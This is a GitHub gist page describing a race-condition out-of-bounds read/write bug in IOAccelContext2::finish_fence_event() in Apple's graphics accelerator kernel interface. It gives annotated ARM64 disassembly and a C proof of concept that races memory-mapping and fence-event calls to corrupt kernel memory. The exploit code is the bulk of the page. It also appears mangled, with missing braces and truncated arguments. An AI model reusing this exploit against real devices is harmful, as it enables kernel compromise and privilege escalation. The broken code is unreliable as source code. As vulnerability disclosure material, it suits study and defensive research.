Skip to content

Instantly share code, notes, and snippets.

What would you like to do?
IOAccelContext2::finish_fence_event() race condition OOB read/write
#if 0
IOAccelContext2::finish_fence_event() race condition OOB read/write
This is a method exposed to user space, it takes a kernel read-only shared memory
(type 2 via clientMemoryForType()) address and treats it as an IOAccelEvents Array.
The user supplied index is checked against the IOAccelEvents array bounds,since there are no
locks held in this method,it is possible to change the array bounds by calling
IOAccelContext2::clientMemoryForType() again in a separate thread, this will expand the size by
multiplying the older size by 2, but we still have a reference to the old shared memory address
with the size of the new one.Therefore, we created a condition where the scalar index is checked
against the new array size but we still have the old shared array reference.
From this condition,we can make IOAccelEvents array points to an arbitrary location, thus perform arbitrary
kernel read and semi-arbitrary kernel write.
fffffff0061f7fa4 ldr x8,[x0, #0x6a8] . // x8 takes a reference to shmem_addr but not atomically
fffffff0061f7fa8 cbz x8,LAB_fffffff0061f8010
fffffff0061f7fac mov x20,x0
fffffff0061f7fb0 ldr w9,[x0, #0x6d8] .
fffffff0061f7fb4 cmp w1,w9, LSR #0x6 . // scalar input is checked against the array bounds,
fffffff0061f7fb8 b.cs LAB_fffffff0061f8020
fffffff0061f7fd4 blr x8=>IOAccelEventMachineFast2::finishEventUnlocked
By completely controlling the IOAccelEvents content, we can perform multiple memory read/writes,
as shown in the disassembly below :
LAB_fffffff00620e0c0 XREF[1]: fffffff00620e20c(j)
fffffff00620e0c0 ldr x23,[x19, x26, LSL #0x3]
fffffff00620e0c4 cmn w23,#0x1
fffffff00620e0c8 b.eq LAB_fffffff00620e204
fffffff00620e0cc lsr x22,x23,#0x20
fffffff00620e0d0 smaddl x25,w23,w28,x21 // x25 will point to arbitrary address , we completely control w23
fffffff00620e0d4 ldr w8,[x25, #0xf0]!
fffffff00620e0d8 sub w8,w22,w8
fffffff00620e0dc cmp w8,#0x1
fffffff00620e0e0 LAB_fffffff00620e204
fffffff00620e0e4 sxtw x24,w23
fffffff00620e0e8 ldr x8,[x21, #0x28] .
fffffff00620e0ec ldr x8,[x8, x24, LSL #0x3]
fffffff00620e0f0 ldr w8,[x8] // OOB read since x24 is user controlled
fffffff00620e0f4 str w8,[x25] // <---- OOB write
#include "client.h"
int start= 0;
io_connect_t iokit_get_connection(const char *name,u32 type)
kern_return_t kr = KERN_SUCCESS;
io_connect_t conn = MACH_PORT_NULL;
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault,
if (service == IO_OBJECT_NULL) {
printf("unable to find service \n");
kr = IOServiceOpen(service, mach_task_self(), type, &conn);
return conn;
void map_memory(io_connect_t c,u32 type, void *addr,size_t *size)
kern_return_t kr = IOConnectMapMemory(c, type, mach_task_self(), (mach_vm_address_t *)addr, &size, 1);
assert(kr == KERN_SUCCESS);
void s_finish_fence_event(io_connect_t c,u64 scalar0)
int selector = 5;
kern_return_t kr = IOConnectCallMethod(c, selector, (void*)&scalar0,1,
NULL, 0,
void *do_finish_fence_event(void *arg)
io_connect_t c = *(io_connect_t *) arg;
s_finish_fence_event(c, 0x100);
return NULL;
void *do_map_memory(void *arg)
io_connect_t c = *(io_connect_t *) arg;
mach_vm_address_t addr = 0;
mach_vm_size_t size = 0x0;
return NULL;
#define THREADS 0x2
pthread_t ths[THREADS];
void doit(void)
printf("Winning Race \n");
while(1) {
io_connect_t c = iokit_get_connection("IOGraphicsAccelerator2", 0);
io_connect_t agxsh = iokit_get_connection("IOGraphicsAccelerator2", 2);
mach_vm_address_t addr = 0;
mach_vm_size_t size = 0x0;
char *ptr = (char *)addr;
u64 value = ((u64)0x41414141 << 0x20) | 0x42424242;
int thc = 1;
pthread_t th[thc];
for(int i=0; i< thc; i++) {
pthread_create(&th[i],NULL,do_map_memory,(void *)&c);
for(int i=0; i< THREADS; i++) {
pthread_create(&ths[i],NULL,do_finish_fence_event,(void *)&c);
start = 1;
for(int i=0; i< THREADS; i++) {
for(int i=0; i< thc; i++) {
Copy link

ajkw90 commented Jan 2, 2021


Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment